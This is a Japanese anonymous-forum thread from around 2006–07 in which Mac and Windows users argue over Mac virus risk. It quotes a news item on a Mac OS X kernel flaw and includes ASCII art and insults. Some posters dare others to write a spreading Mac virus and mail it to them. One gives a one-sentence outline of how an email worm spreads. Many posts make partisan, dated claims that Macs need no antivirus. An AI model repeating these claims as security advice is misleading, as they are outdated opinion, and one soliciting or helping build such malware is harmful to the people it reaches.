ばらまくのが犯罪なら俺の捨てアド晒すんで送ってくれないか
そしたらキモヲタドザが口だけじゃないって俺がこの板で宣伝してやる

っていうか、

Macにウイルスが感染してニュースになってから
騒げばよくね？

Macユーザーに「ウイルスやばいだろ？」
って聞いてる時点で時代遅れなんだよなw

>>200
ここに来て見下し発言してるような輩は
ドザの中でも底辺層の「スキル無しナンチャッテドザ」
だから不可能と思われる。俺の知り合いのドザはMacに
はなから興味がないし、こんなとこまで出かけて騒がない。
黙々と自分の世界で堪能していらっしゃるｗ

>>201
確かに、Macのシェアーが増えて、Win並にウィルスや、ヤバイフリーソフトが出回る
なんて取り越し苦労な事考える必要はないわなｗ

Macのシェアーが増えてから考えればいいものだｗ
ウィルスが増える可能性よりMacの生産停止の方が高そうだし・・・

Macの販売が黒字っていうのは嘘なのか。
インターネッツで見た!

>>203
翻訳：ぼくはなにひとつ自分では作れません。すみません。

>>204
ふつーにMacの販売は黒字。

PCメーカーも主力を10万ちょいあたりのちょっといいPCに持ってければ
どのメーカーも売れば売るだけ黒字出るのだが、Win界で一番売れてるのが
ビジネスマシンでビジネスマシンは値段が最大のファクトだから、
とにかく安く安くのデススパイラルにPCメーカー各社とも陥っている。

ソニーのVAIOにちょうどMacと同じような構成のマシンがあったのだが
Windows界だとビジネスとハイエンドにマシンが分離しちゃってて
”中ぐらいのマシンに中ぐらいのグラフィック性能を乗せた普及機”
ってのがどうにも上手く商売にならんというか。

その性能じゃないと動かないギリギリアプリであるiLifeを標準で
つけてきてるAppleの戦略は上手いっちゃぁ上手いんだよなぁ。

＞Win界で一番売れてるのが
＞ビジネスマシンでビジネスマシンは値段が最大のファクトだから、
＞とにかく安く安くのデススパイラルにPCメーカー各社とも陥っている。


購買担当してて実感したけどこれ結構本当、チキンレースだよね
dos/v機は買うもんじゃない貰うもんだと言う感覚が俺的にはある

俺も同じ様な立場だが、安物は安物だとつくづく思う。
Win機は何も期待しないからお下がりで十分。
部署別でMacネットワー作ったりしてるが。

うちの会社は新しいPC入れると、決まってDELLなんだよな。
つくりは安っぽいけど、仕事には関係ないし。
あの値段で競争を強いられる国産メーカーはつらいだろうな。

安物安物ってMacももう安物になってきたね。

だから？最低レベルの性能の高さは
国内メーカーも太刀打ち出来ないんだが。
それらのチープなPCと比べてどうする？

安物にかこまれて暮らすと、なんでも安物に見えてくるから
困るよな。

自己紹介乙↑

>>57
＞だから？
いや、だからMacも安物になってきたよね・・。でも、これはよいことだよ。
今まで性能よりはるかに高いお布施払ってきたこと考えたら。今の価格は適正だよ。

だから？

そして?

セキュリティホールとウィルスには、直接の関係はないよね。

>>63
アホすぎ。ネタか？

まあ、あれだ、最新マザボに10マソとか最新チップセットに5マソとか
全身全霊、アイデンティティをかけて必死にこしらえた自作機が自己存在の証
であるドザにとってはその枠外にあるMacが気になって仕方がないんだろうな。
でそこでたまたまDOS機が悪く（あるいはMac優位であるがごとく）言われていると
もう脊髄反射に近い感情で書き殴る！嫉妬！憎悪！・・・・・って感じなんだろう。

ぺうwrうぇrwぷっっっをうよようぬwt

はいリリース〜ｗ

>>218
お前がアホだろ。わざわざ遠隔レスすんなら、
何がどうおかしいと思うか文章で書いてみろ。
その程度の事ができる人間並みの知能があればなｗ

>>219
いまどきMacにそこまであこがれるヤツは、そうはいないだろ
高嶺の花だった時代でもなし
パーツ組みとはいえ 自分で組んだマシンの方が
ただ買ってきたマシンより愛着はわくと思うけどな
Macで言えば改造ユーザーか

>>217
関係あるぞ
ネットに繋ぐ事がないのであれば、関係ないけどね

あんたも遠隔なのにキレすぎ。もちつけ

>>222
ごめん。ほんとうに御免。>>64へのレスじゃなくて、>>217へのレス。

>>223
最近はセキュリティホールを利用するウィルスが多いってだけじゃん。

Mac OS X、パッチ直後にまた新たな脆弱性報告

　　Apple Computerは28日にMac OS Xの複数の脆弱性を修正する
パッチをリリースしたが、その同じ日のうちに、さらに新たな脆
弱性が報告された。

　過去の複数の脆弱性同様、この問題もカーネルバグ月間（MoKB）
プロジェクトで報告された。コンセプト実証コードも同時に公開さ
れている。

　MoKBの情報によると、細工された引数を渡すことによってメモリ
破損エラーが発生し、ローカルの攻撃者がシステムをDoS状態に陥れ
たり、不正に権限を昇格させられる可能性がある。悪用されればロー
カルシステム上で任意のコードを実行される恐れがある。

　ただし、リモートからの悪用は不可能といい、仏FrSIRTでは危険度
を4段階のうち下から2番目の「Moderate Risk」としている。

　脆弱性が確認されたのはMac OS X version 10.3.9以前／10.4.xで、
正式なパッチはリリースされていない。

http://www.itmedia.co.jp/enterprise/
（ITmediaエンタープライズ） - 11月30日11時35分更新

＞ただし、リモートからの悪用は不可能といい

ドザは記事をどっかからひっぱってきてコピペするのは得意なんだが
記事内容を読解する能力に恐ろしく欠けてるからな・・・

そこで語ってる脆弱性って、

だれかが悪意あるプログラムを直接マシンの前で動かした時に（Winで言うとexeをクリック）
”マシンをハングさせたり”、”ユーザー権限の変更ができたり”する。

って脆弱性だぞ・・・逆に言うとコレ

・悪意あるプログラムでもMacOSXではOSをなかなかハングさせられません。
・悪意あるプログラムでもMacOSXではユーザー権限の変更がなかなかできません
　（ユーザー権限を変えないとシステムを悪意を持って破壊することができません）

ってことなんだが。 Winじゃ悪意あるプログラム食らった時にOSごと落ちたり、
システムファイルを簡単に弄られてシステムぶっ壊されるのがあたりまえだから
ここで想定されてるセキュリティレベルが想像ついてないだろ・・・おまえ。

さっきCM見た

すげぇ自虐ネタだなｸｿﾜﾛﾀ

　　　　　　　　　　＿＿＿＿＿＿＿
　　　　　　　　　／::::::::::::::::::::::::::::::::::::＼
　　　　　　　／::::::::::::::::::::::::::::::::::::::::::::::::::＼
　　　　　　/::::::::::/|:::::::::/ﾉ::::::::／ヽ人:::::::::::ヽ
　　　　　/::::::::::/　|:::／/∧::::ﾉ　　　　ヽ、:::::::ヽ
　　　　 |:::::::::::/　 |/　 |ﾉ　|/　　　　　　　ヽ:::::::::|
　　　　|::::::::::/　━━━━　　━━━━ 　|:::::::|
　　　　|:::::::/ 　　-=・=-　　　　　-=・=-　　 |:::::|
　　　　|:::::/　l￣￣￣￣|====|￣￣￣￣ l　|::::|
　　　　|　=ﾛ|　　　　　　/　　ヽ|　　　　　　|ﾛ=|::|
　　　　|/　　l　　　　　/　　　｀ヽ　　　　　l　　 |
　　 　／　　　ー── （●＿●）───　　　＼
　　　|　　　　　　　　　　　l l　　　　　　　　　 　　|
　　　|　　　　 　　　|--￣｀´￣--|__　　　　　　 .｜
　　　|　　　　 　 　　|二二二二-|　　　　　　　 　|
　　　＼　　　　　　丿　　　　　　ヽ　　　　　　　／
　　　　 ＼＿　　　　 _-￣￣￣-_　　　　 ＿／
　　　　　　　　￣￣￣＼＿＿／￣￣￣

あれ、おかしいな、モニタが鏡みたいになってる。

微妙にスレの趣旨とズレた質問なんですが、いいでしょうか？

万が一Macがウイルスに、それもWinであるような情報流出させるタイプのものに感染した場合、
（将来的にそのようなものが出てきた場合に、です）

ネットに有線接続してなくても無線LANやBlueToothを搭載してる機種で、
それらの機能をオフにしている状態でも、
強制的に無線機能オン→無線環境を探して可能なら接続→データ流出
といった事態になることはありえるのでしょうか？（そのようなウイルスは存在しうるのでしょうか？）

>>232
絶対無いと証明する事は不可能。

絶対なんて誰が言い出したんだw
小学生かよ。

>>232
ウィルスの感染経路をまず確保しないと、Macに限らず難しいだろうなw

>>232
一度管理者権限奪えばなんでもできるよ。

あたりまえ。
MacだろーがWINDoZだろーがメインフレームだろーが宇宙船だろーがテポドンだろーが

>>232
別にMacに限らず、コンピュータである以上、
色々な動作を順番に実行するようなスクリプトは組めるわけだから、
そういう事態は「ありうる」。

けれど、インターネットの接続がオフになっているマシンは
どうにかしてそこを「オン」にしなければ、
ウィルスを送り込む手段がない。

当たり前だ。そんなにウイルスが怖かったら、LANケーブル引っこ抜いてりゃいいんだよ。

一度もネットに繋がったことのないWindowsPCよりは、
ネットに繋がってるMacの方が危険かもなw

まあ、おまいらがんばって生きろ
いや、新でも（・∀・）ｲｲ!!が

BSDのウイルスはマックに感染しないのか？

事実関係を整理しよう

「ウイルスで（実害が出ることは殆ど無いから）大丈夫」
これは事実だよな。
「ウイルスが存在しない」というのは糞ドザの捏造だからな。

windowsの場合、ＮＯＤ３２やカスペルスキーでさえ検出率１００％ではない。
検出しきれないこともある。
それよりもさらに安全なのがMac

>>242
10.3とか使ってて、セキュリティパッチを更新してないなら感染するかもな。

事実関係を整理しよう

「Macにはウイルスに利用されるセキュリティホールが有る」
「Macにはウイルスが存在するがごくわずか」
「実際にウイルスに攻撃されたときの耐性はWindowsの方が強い」
「Macが安全なのは、単にウイルスの数がごくわずかなだけ」
「攻撃されたときに安全なのはWindowsだが、攻撃されないMacの方が安全」
「将来もMacは安全とは限らない。セキュリティホールの数、ウイルスの数、利用者の数は年々増えているから」

>>245
>実際にウイルスに攻撃されたときの耐性はWindowsの方が強い

これの基準がまったくわからない。
ウィニーでデータを漏洩させまくってるアホがまだ多いが、
そのWindows機もウィルスの耐性が強いのか？
ビスタでも、従来からあるスパイウェアの大半で被害がでるって報告も上がってるぞ。
http://japan.cnet.com/news/sec/story/0,2000056024,20336347,00.htm

セキュリティホールは、見つかればパッチで閉じられるの繰り返しだろ。
それはMacOSでも、Windowsでも、Linuxでも一緒じゃん。

>>246

一万何千件のウイルスに対応出来てるからつおいんだお！って言っているんじゃねｗ

http://gigazine.net/index.php?/news/comments/20060905_antivirus/

↑こういう報告もある。
Windows用のアンチウィルスソフトはたくさんある。
それでも100％すべてのウィルスを撃退できるソフトは１つもない。
Windowsがウィルスに耐性の強い環境だなんてデマでしかないわな。
毎月あるセキュリティパッチでも、すべての穴が防げてるわけじゃないし、
常に見つかり続ける新しい穴に対処しきれてるわけじゃない。

MacOSもウィルスはある。でも、数ヶ月に一度新しいモノが発見される程度。
アンチウィルスソフト側が対応しきれないなんて状況にはならない。
実害が出る前にパッチも出てくるしな。

どう考えても、Macの方がウィルスへの耐性が強い環境だろ。

悪意あるソフトの80％はアンチウイルスソフトが効かない - GIGAZINE
http://gigazine.net/index.php?/news/comments/20060720_malware/

よく、こんな危険な環境を使ってるよなw
このスレに来て、Macのセキュリティをバカにしてるドザは、
セキュリティに詳しいようだから、
それなりにWindowsで対策してるだろうが、
それでもなんの対策もしてないユーザーのMacより危険がいっぱい。

>>247
1万のウィルスのうち、0.5％がアンチウィルスソフトで対処できないとする。
計算上、50個のウィルスに無防備ってことだな。

MacOSXで50個のウィルスが作られるのは、いつになるだろう・・・。

ユーザーが少ないからウィルス作者に相手にされてないって意見も眉唾。

ウィルスといえばMacといわれてた時代があったんだな。
OS8の時代だ。
シェアは今より高かったが、Macユーザーの数は今より少ない時代だ。
Macの売上はここ数年、過去最高を毎年記録してる。
つまり、ユーザーは増え続けてるんだな。

ユーザーの数が少ない時代でも、古いMacOS上で危険なウィルスがたくさんあったんだよ。
ユーザーが増えてる現行MacOSでウィルスが増えないのはなぜ？

>>251
昔はMacに魅力があったってことだな。
シェアやセキュリティに比例してウィルスが自然発生するとでも思ってるの？

>>252
ウィルス作者にとって魅力的な環境ってのは、
ウィルスの開発が簡単な環境だろ。
アプリケーションをユーザーの証人なしにインストールできて起動までできるようなな。

考えてみりゃ、ウィルスの被害はないのに、
セキュリティホールがちゃんと見つかって、
パッチで修正され続けてる環境って素晴らしいよな。
ウィルスの被害に会わずに、セキュリティは常に良くなってる。

それに比べてWindowsは、日々セキュリティホールが見つかって、
それを利用した新しいウィルスが山のように作られて、
確実に被害が広まる上に、
アンチウィルスソフトでも完璧に防げない。

>>23
ｳｨﾝ7年
セキュリティソフト無しでかかったことない

>>255
気付いてないだけじゃないの？
あ、あとWindowsはWindowsでも95/98だと感染しても発病しないこと多い。

一度ウイルスバスターのページで無料チェックを推奨。

２ちゃんやってりゃ絶対喰ってるよ。

悪意あるソフトの80％はアンチウイルスソフトが効かない - GIGAZINE

これはMacOSXであっても当てはまる話。

なぜなら、何を持って悪意があるかということは
人間にしかわからないからだ。

他のプログラムのバグを利用するものならともかく、普通のプログラム、
たとえばファイルを削除するプログラム、メールを送信するプログラム。

そういったものに悪意があるかなんか人間以外に分るはずが無い。
人間がソフトウェアのリストを作るしかないのだよ。

俺が悪意があるMacOSX用ソフトを作ったとして、
「普通のソフトと同じようにインストールしてね」と書いておく。
それをどうやってMacOSXが防ぐと言うのか。ありえない。

普通のソフトはインストーラーなんか使わないで
どっか適当なフォルダにドロップしてねだから。

>>259
リンク先読んでないでしょ？

例えばそれはスパイウェアであったり、個人情報を抜き取るための
ワームであったり、あるいはあなたのパソコンを踏み台にするため
のトロイの木馬であったり、とにかくありとあらゆる種類の悪意の
あるソフトウェア、通称「マルウェア」の脅威に対し、アンチウイ
ルスソフトは20％しか効果が無く、残りの80％は防御不可能という
現実。

＞通称「マルウェア」の脅威

良く読めな。

>>259
あ、そうか、Windowsユーザーってのは、
「ボクが作ったソフト、便利だからインストールしてね」
と言われりゃ素直にインストールしちゃう人たちなんだな。
そんで、被害が出ても、作ったヤツを非難したり訴えたりしないんだ。
だから、悪意のあるソフトウェアがいっぱい存在するんだね！

アンチウイルスソフトはウイルスを検出するものであり、
マルウェアを検出するものではありません。

あなたが言っているのは、傘では風を防げないといっているようなもの。

これはつまり、
俺に感染出来るウィルスを作ってみろ。
出来たら褒めてやるぜ！　という話ですね？
・・・・・・煽ってどーすんの！

>>262
曲解過ぎて話にならない。

>>265
なんで？OSで悪意あるプログラムは判別できないんでしょ。
それでも、Windowsに悪意あるプログラムが溢れてるのは、
ユーザーがまぬけだからってことでしょ？
現実に悪意のあるソフトウエアがたくさんあるんだからさ。

へりくつにへりくつを返しただけなんだけどねぇ。

>>263
いや、現にあのＣＭを見た人間は
その風をも防げると勘違いしてしまいかねない。
ウィルスかかりません　というニュアンスの広告を
素人が見るＣＭで行ってしまったのは
少し失敗だったかな？　と思った。

>>268
CMでやってるのは、ウィルスについてじゃん。
あのCMでスパイウェアとかトロイの木馬なんてセリフはない。

>>266
> それでも、Windowsに悪意あるプログラムが溢れてるのは、
> ユーザーがまぬけだからってことでしょ？

お前頭大丈夫か？
ユーザーがまぬけだろうが、そうじゃなかろうが、

悪意あるプログラムを作る奴が沢山いるだけで、
悪意あるプログラムは多くなるだろ。

>>269
そのニュアンスが素人には伝わらない　と言ってるんだよ。
現にウィルスだってあるといえばあるだろ

>>270

>>259に対してのレスなんだよ。
>>259が
＞そういったものに悪意があるかなんか人間以外に分るはずが無い。
＞人間がソフトウェアのリストを作るしかないのだよ。
＞俺が悪意があるMacOSX用ソフトを作ったとして、
＞「普通のソフトと同じようにインストールしてね」と書いておく。
＞それをどうやってMacOSXが防ぐと言うのか。ありえない。

って言ってるから、それで、
現実にMacで悪意のあるソフトウェアの被害がないことと、
Windowsでは被害があることを分析してみただけ。
OSでもアンチウィルスソフトでも防げないなら、
ユーザーが悪いってことじゃん。
ちゃんと通報してりゃ、被害も減るのにさw

>>271
CMじゃウィルスってハッキリ言ってるじゃん。
素人がウィルスと聞いて理解できる範囲の解釈でいいんだよ。
難しくしてるのアンタじゃん。

>>273
http://www.mcafee.com/japan/security/virL.asp?v=OSX/Leap
ほい、ウィルス

> 現実にMacで悪意のあるソフトウェアの被害がないことと、
悪意のあるソフトが多くて、被害が少ないのならともかく、
悪意のあるソフトが少ない状態じゃ、
被害が少ないのは単にソフト（利用者）が少ないからとしか言えない。

> OSでもアンチウィルスソフトでも防げないなら、
マルウェアとはウイルス以外のソフトも含まれる。
アンチウイルスソフトで、ウイルス以外のソフトが防げないというのは、
傘で風を防げないといっているようなもの。

>>273
> 素人がウィルスと聞いて理解できる範囲の解釈でいいんだよ。
お前は、素人がウイルスと聞いて理解できる範囲に、
ウイルス以外のマルウェア（スパイウェア、トロイの木馬など）が含まれると思うのか？

素人の考えと、お前の考えを言え。

>>274
俺は大丈夫、セキュリティアップデートをちゃんとかけたから。

>>275
>>251

>>277

> >>275
> >>251

何が言いたいのかさっぱりわからない。
昔はMacのシェア高かったな。それがどうした？
シェアが高いとウイルスが多いと言うことか？

>>276
スパイウェアやトロイの木馬も含めてウィルスと想像できた人がいてもいいんじゃない。
現実に、そういうのの被害もないのだから。

Macにも、ウィルスはある。でも、その被害で悩むことはない。
だから「Macは大丈夫」と解釈する人がいても問題ないわな。

>>278
利用者が多いと被害者も増えるんだろ。
OS8の頃よりOSXユーザーは増えてるぞ。

>>279
自分が言っているセリフが矛盾しているのを言い訳する時間ですよ。

269 名前：名称未設定[sage] 投稿日：2006/12/03(日) 19:28:49 ID:7HZ6K1Ut0
>>268
CMでやってるのは、ウィルスについてじゃん。
あのCMでスパイウェアとかトロイの木馬なんてセリフはない。

>>280
ウイルス作る人の数は減っている。

>>281
ウィルスとしか言ってないCMに、
「スパイウェアやらトロイの木馬について語ってない」
と難癖つけてるのはアンタだろうに。

>>279
一度でもセキュリティホール突かれたって事は
またそういう事が起こる事もありえるって事だぞ。
安心しきってると何時か痛い目見るぞ。

Macにも、ウィルスはある。でも、その被害で悩むことは今のところない。
でもだからといって「Macは大丈夫」と解釈する人がいたら大問題。
マルウェア作家はその隙をついてくる。

MacOSXでもセキュリティホールが存在する以上危険は存在する。
ゼロディアタックでさえ現実のものになった。

>>283
語っていなくても、ウイルスにスパイウェアやトロイの木馬が含まれると
考えている人がいることが問題。

つーか何が言いたいかといいますと
マックはウィルスは大丈夫というＣＭを見まして
おお、マックスゲー　と思って調べてみたら
実際は罹るんじゃないの・・・
なんか少し悲しかったのでその怒りをぶつけてみました・・・

>>284
一度もセキュリティホールはつかれていません。

うちは、ルーターかましてるし、OSでファイアーウォールもかけてる。
Mac用のアンチスパイウェアソフトもアンチウィルスも使った経験あるけど、
ひっかかるのはメールで流れてきたWindows用のウィルスだけだった。
で、システムが重くなるから、アンチ系のソフトは全部アンインストールしました。
ややこしいメールは、全部ライブドアのギガメーラーで受けてるから、
普段使ってるメーラーにはWindows用のウィルスももう来ない。

>>286
だから、考えている人がいたっていいじゃない。
そういうのの被害もないのだから。

最初は気に食わない宣伝だと思ったが
よくよく見てると、煽ってんだと思う

>>287
ウィルスはある。半年に一回くらい話題になる。
それに感染して被害が出たなんて聞いたことないけどね。
セキュリティアップデートがなかったら、
深刻な被害も出てたかもしれないね。

>>290
アメリカじゃずいぶん以前から、あれと同じようなCM流れてる。
OSX/Leapも、あのCMに煽られて作られたのかもね。
それでも、出てきたのはそれだけだった。

これは酷い・・・

63 名前: 名無しさん＠七周年 Mail: 投稿日: 2006/12/03(日) 20:12:14 ID: tVDk4RRx0
事故の瞬間
http://ranobe.com/up/src/up155121.jpg
病院に運ばれた被害者
http://ranobe.com/up/src/up155120.jpg
車輪にまきこまれた痛ましい様子
http://ranobe.com/up/src/up155123.jpg
タイヤの下敷き
http://ranobe.com/up/src/up155124.jpg
集まった野次馬
http://ranobe.com/up/src/up155122.jpg
連行される容疑者
http://ranobe.com/up/src/up155125.jpg

現実問題として、セキュリティホールが見つかったり、
実験的にウィルスが作られたり、
ってことがあるほうがマカーにとってもAppleにとっても良いことなんだよ。
それがなかったらセキュリティパッチも作られないし、
Mac用のセキュリティソフトを作るメーカーもなくなっちゃう。
実害が出てないのに、セキュリティ面が成長していく環境なんて理想的だろ。

だからドザさん、あーのこーの垂れてないで実際強力なの作ってよ。
そしたら一目瞭然だろ？それとも評論してるだけでできないのぉ？ｗ

そんなにバカを煽らなくてもw

>>295
ウイルス作れるもんなら作ってみろって
コンテスト行ってAppleにとめられた馬鹿会社があったな。
マカはみんなそれと同じレベルなのか？ｗ

>>297
そういうコンテストは、それが始めてじゃないんだなw

今日も潜在ユーザーがいっぱい吊れてますね。


Mac複数台持つから見ないって言うけど
自作の人は何枚マザー持ってるのやら？
そら儲かるよねw組み立ていらず手間いらず。

>>297
>>295に対する答えになってない

ウイルス作るのって犯罪じゃないの？
それをやってみろって言うのも犯罪じゃないの？

>>301
威圧も強制力もないでしょ。

>>301
脅迫状を書くのは、白。
脅迫状が相手に届いたら、黒。

マカ自体がウイルスで危険思想の持ち主

結局、いつものようにユーザー批判しかできなくなるんだよなw

ウィルスの定義から言えばWindowsこそウィルスなんだけどな。

ここに来て蘊蓄五月蠅いドザよ、頼むから俺に送ってくれ
技術的興味ってやつで試作で良いからさ。
その後は俺が全責任もつから。
蘊蓄垂れてるくらいだから簡単に作れるんだろ？ウイルスくらい。

もちろんMacOSX用の強力なヤツな。

あんたが煽ってウイルス作ってもらって「こりゃスゲーや」って分かった時、他人が迷惑しているはずなんだが、それの責任取れるのか？

まあどっちにしても悪いの解ってて作った奴が一番悪いんだけどね

>>309
しのごの逃げ口上言っとらんでとりあえずメアド欄とこに送りゃいいんじゃね？
そしたら俺にも転送してくれな　>>307　俺も此処のdozaの実力見てみたいｗ

そのメアドが本人と限らないし。
嫌がらせのため他人のメアドかもしれん。

大丈夫だ。広がったら俺のせいだってことが明らかだし、
管理人もログその他情報を当局に渡すだろう。
当局がトレースすれば簡単に俺を割り出せるだろう。
俺自身の所有している完全閉鎖系のネットワークシステム内で
その実力を評価し、発表してやる。
311にはすまんが転送はしないほうがいいかもな、
万一の事態になったら先の発言から俺のせいになる。

312のIDをメアドに含ませてみた。メアドは俺が作ったという証だ。

それともう一つ。ウイルスっていうのは伝搬能力を持つものだからその機能もヨロ。



では寝るんでよろしくぅ　蘊蓄ドザ君！簡単だろ？１時間で作れ。

ごくろうさん♪

>>313

簡単なウイルスならすぐに作れるはず。ただの実行プログラムだし。
ただ、本格的に感染が広がっていくようなのは、作るのはそれなりに
エネルギーがいるんじゃないか。

Winだと実態はexeだけど表向きは・・・ってのをシステムにつっこんで
システム起動時にこっそりバックグラウンドで動いて〜ってのが
けっこうあるんだが、そもそも普通の手段で「システムにこっそりファイル置く」
ってのができないしなぁ。まずそこから一穴必要だし。
UNIXファイルシステムのせいでその辺やったら固いし。
他のマシンとファイルやりとりすると、所有権やらががっちりついてて
作業したのに「上書きできません」とか出るのとか日常茶飯事だし。
さっき試しにJPGをシステムの中に落としてみたら、システム変更のための
認証求められたしな。

やりゃできない事はないんだろうけど、セキュリティが二重三重になってて
そいつら一つ一つの穴を使わなきゃ突破できないんで辛いというか、
対策で一カ所穴を塞がれたらもう活動できないというか。

あれだ、中入ったら自由に歩き回れて、業者用の裏口まであるWinと
正面玄関しか出入り口がなくて、各部屋にIDカードが必要なMac(UNIX)じゃ
普通の泥棒はどっちを狙うか？って話だわな。

コンピュータの全てを知り尽くしたような 口ぶりのこういう↓
　　　　　　　　　　　_., .,､._,r hh.､ y...u,_ ､ ､.,.,
　　　　　　　　.yl!).彳｝ﾞ.^ﾞ冖^^^ﾞﾞ'⌒ﾞﾞ「｛ .〕:!|ｧ_ l.r.
　　　　　　 .rl!.「.ﾞ.′　　　　　　　　　　　 .ﾞ.^ﾞ「.|^|'!.,.ri,､
　　　 _,.u:l 「″　　　　　　　 _,..vv-─--v､､.,__ﾞ ´「 リﾞ .r
　 .-i(┴^　　　　　　　　,.v‐ ′　　　　i!､　　厂^'ｰ､_　.'ﾞ/
　.,l|　　　　　　　　　.,.‐'ﾞr　　'=,　 .|ﾄ!　 ..　　　　　／_ ┘ _,
.［.′　　　　　 .,r(,,vv!冖h厂 _,､､､,_ ¨ﾞ（）　　　.ﾞﾞil|ﾘ冖ﾐ(ﾐ,.l|/ﾚ'
.||　　　　　_,yr!^″　　　 ［.zli》ﾆ《)ﾐ|l;,　|ノ冖ｰu「.,zzzzy,｛丁′
.!ミ　　 .yr(l「′　　　　　　〔″　　　　｀.,i^　　　.〔.!!干「「)v）《ﾌ
i|　 __,/′.｝　　　　 .　　　　＼,,,,,_,,,,,,vr″　　　 .ﾞ)z　　　　,メﾞ'ly
|ﾞ/|ﾚr》!　 ｝　　　　 .｝..　　　　　　　／,v--r　,､u_:rﾌ'¬ｰ^″　ﾞミ
》ﾞ|′ .ミ　.|　　　　 .∨　　 ,､　　　 ｛lzﾄrr┘ ＼从,,）　　　　 ｝:! .《
｝｝.,rｰ ミ,,ｪ　　　 ,　　　　 .'|ﾌ　　　　　　.,,zu厶　￣　　　　　ﾞ'^　l!
ﾞ|从　　》″　　　 | r　　　　　　　　　 -:(工ｪ」zﾐv_　　　n.　　　　〔 　　
.》ﾄ　　.′　　　　∨　　　　　　 7vv=(干=─干ﾐl||l,_,z　″　　　 》
.《l,_ .'|!　　　　　　　　　　　　　　　　 .__　　　　　, .￣ﾞ..　　　　　 〕
　《^¨′　　　　　　　　　　　　　　　　 .ﾞ冖'^^'''冖　　 v＼　　　　｝
　［　　　　　 ､　　　　　　　　.　　　　　　　　　　 〕　　 〔 .′ .」_ .ll′
　.|　　　　　 | 」　　　　　　 ._｝　　　　　　　　 .hノ　　 .:|　,.. .,.ﾄﾄ 〕
　.｝　　　　　.^′　　　　　　ﾞ《,_　　　　　　　　　　　.､,ﾉ ...厂､　.il
　 ｝　　　　　　　　　 _　　.､　.ﾞﾞ'〜 .y,_　　　　　　_,r;|¨ <､､‐　. ﾉ
　 .｛,　　　　　　　　 〔 」　 ´　‐　「ilﾘiｱｱｧｧｧ;lllllli(ﾘﾞ｝ ┌ 冫.. .ｱ
　　 ＼　　　　　　　 ∨ﾞ .　_　.- . ' .｀ﾞ厂¨厂ﾞ厂'. .ﾞ ､' .ﾞ. ヽ‐,r|
　　 .ﾉy　　　　　　　　　　 .´ ､ .: ' ..:　 .､　'　｀ ' _ . .冫 -.',y;|^
キモドザなら楽勝だろ
たぶん・・・

>>82
一見詳しそうでまったくお話にならない。マカはこういう馬鹿が多いのか？

>>317　

の間違い。とにかく317はアホすぎる・

>>319
お前この板にいるくせに、あんな馬鹿が多いかどうかもわからんのかw

悔しいのはわかるが、
ちゃんと反論すれ
バカとかアホとか言い出した時点で
言い負かされたも同然だと思うが

でさ、OSX以降でMacが実際にウイルスに感染して被害にあった人いるの？

>>323
少なくとも俺が知っていることは、Vista以降で
Windowsが実際にウイルスに感染して被害にあった人はいないということだ。

Vista発売は2007年1月30日

そりゃまだ出てないしな。

ちなみに販売予定価格はHomeBasicが2万7090円、Ultimateが5万1240円

Vista発売されてるだろ・・・

企業用には発売されたばかり。一般向けにはまだ売られてない。

ちょっと店行って買ってきてみてくれないか？

VISTAもウイルスを完全に防御するわけではないだろうし
被害が出るのも時間の問題だな。

>>328
店舗では予約受け付けになってるよ。一般の消費者が買えるようになるのは来年。

>>329
それを言ったらMacも同じ

ウィルス作るマカがそんなにいっぱいいるぐらいなら、
マカの開発手法の本とかももっといっぱい出回ってるべ。
でも、イロイロ探してるけど、ナカナカなくてねぇ。

このアジェグが、マカでのアプリ開発がよくわかんねーうちは、
ウィルスは、そんなに心配せんでいいぞ。

こう見えても、おれはベーマガにプログラムを載せたこともあるんだぞ。

こう見えてもって言われても・・・お前だれだよ

マックは、BSD用のウイルスやUnix用のウイルス、スクリプトとかの影響ないん？

それ、素で俺も尻耐。

いや、石もインテルだしそれは普通にかかるだろ。てか上で張られてた
ドザのいうところの”Macの脆弱性”ってBSDのカーネルに発見された脆弱性だし。

問題はどうやって感染させて、発病させて、感染を広げるかなんだが、そこがな。

http://www.itmedia.co.jp/enterprise/articles/0602/17/news007.html

>>336
> 問題はどうやって感染させて、発病させて、感染を広げるかなんだが、そこがな。

いちばん簡単なのは、
メールでウイルス送って、これインストールしてみてって書いて、
実行したら、同じメールを自分の名前でパソコン内で
見つかったメールアドレスに送信する。

>>338
そんな簡単なのアップルスクリプトでもできるよ。
でも、広まらないには理由がある。

Appleユーザーがいないから。

よりにもよってAppleユーザかよ

ただ間違えただけなのに熱くなるな。

ネタに突っ込みのつもりだったのだが
まぁどうでもいいけどね

>>342
必死だな

『Macはウイルスにかからない』

Mac自体がウィルス可している事をドザはまだ知らない。

そ　う　さ　俺　は　い　つ　も　必　死　さ

俺は高い所が大好きさぁー

Windows用のマルウェアは、新しいモノが日に1000以上が作られてるらしい。
反対にMacは年に2つくらい。

流行性ネコシャクシビールスにかからないのび太君

だれかMacに感染するウイルスのリンクを貼ってくれ
おれのMacのアンチウイルスがどんな反応をするのか見せてくれ
インストールから2年。一度も警告を見たことがないんだよ。

>>350
Win用のウィルスでも反応するだろ？
ただ単に交友が少ないだけじゃね？

>>350
ライブドアでギガメーラーに登録してみな。
毎日のようにWindows用ウィルスメールを受信してくれるぞ。

>>351
言われてみればそうだ・・・
メールなんて携帯だしなぁ。
パソコンのメールなんて買い物するためにあるようなものになってる。
パソコンで交友なんて無いに等しい・・・orz

>>351
どんな友達なんだ、そいつらはwww

>>353
それも一応セキュリティとして成り立っている

ふ

Windowsみたいに、亜種が自動で増えるようなSFっぽいのが出回らないかなぁ。

Macにはまったく通用しません

レゴがレゴを組み立てるっての、最近新聞に載ってたねえ

もうウイニー止めろって。ばかか。

http://www.asahi.com/national/update/0115/TKY200701150371.html?ref=rss

金子氏の料金モデル云々の話を思い出すよ。
需要があるからいつまでもウィニーが消えない。
ウィニーの需要を打ち消せるような新しいサービスをはじめないと
たぶんいつまでもウィニーは消えないんじゃないかな。

>>360
>朝日新聞の県庁所在地の総局長の私有パソコンからファイル交換ソフト
>「ウィニー」を介して、業務に関する情報が流出していたことが１５日、
>分かった。
こういう奴らもウィニーやってるんだなw
公務員や貧乏人だけかと思ってたよ。
もしかして天下りかな？

あ

うほ！いいID

>>362
ある程度の年齢になって家族もあって地位もあると
エロビデオも借りにくいんじゃね？

まるでｳｲﾆｰ だ け 使ってて被害にあったみたいな言い方。
ちゃんと「ｳｲﾆｰで拾ったいかがわしいファイルを開こうとした」と
言ってくれ。

本人はウイニーが入っているのを知らなかった、
というようなことを言っている、と読んだような……

やっぱりWindowsを使っていて被害にあったと書けないんだな。

>>367
エロ動画ファイルの保存場所には気づいたわけだ。

で、キンタマウィルスってMacでは動かないんですか？

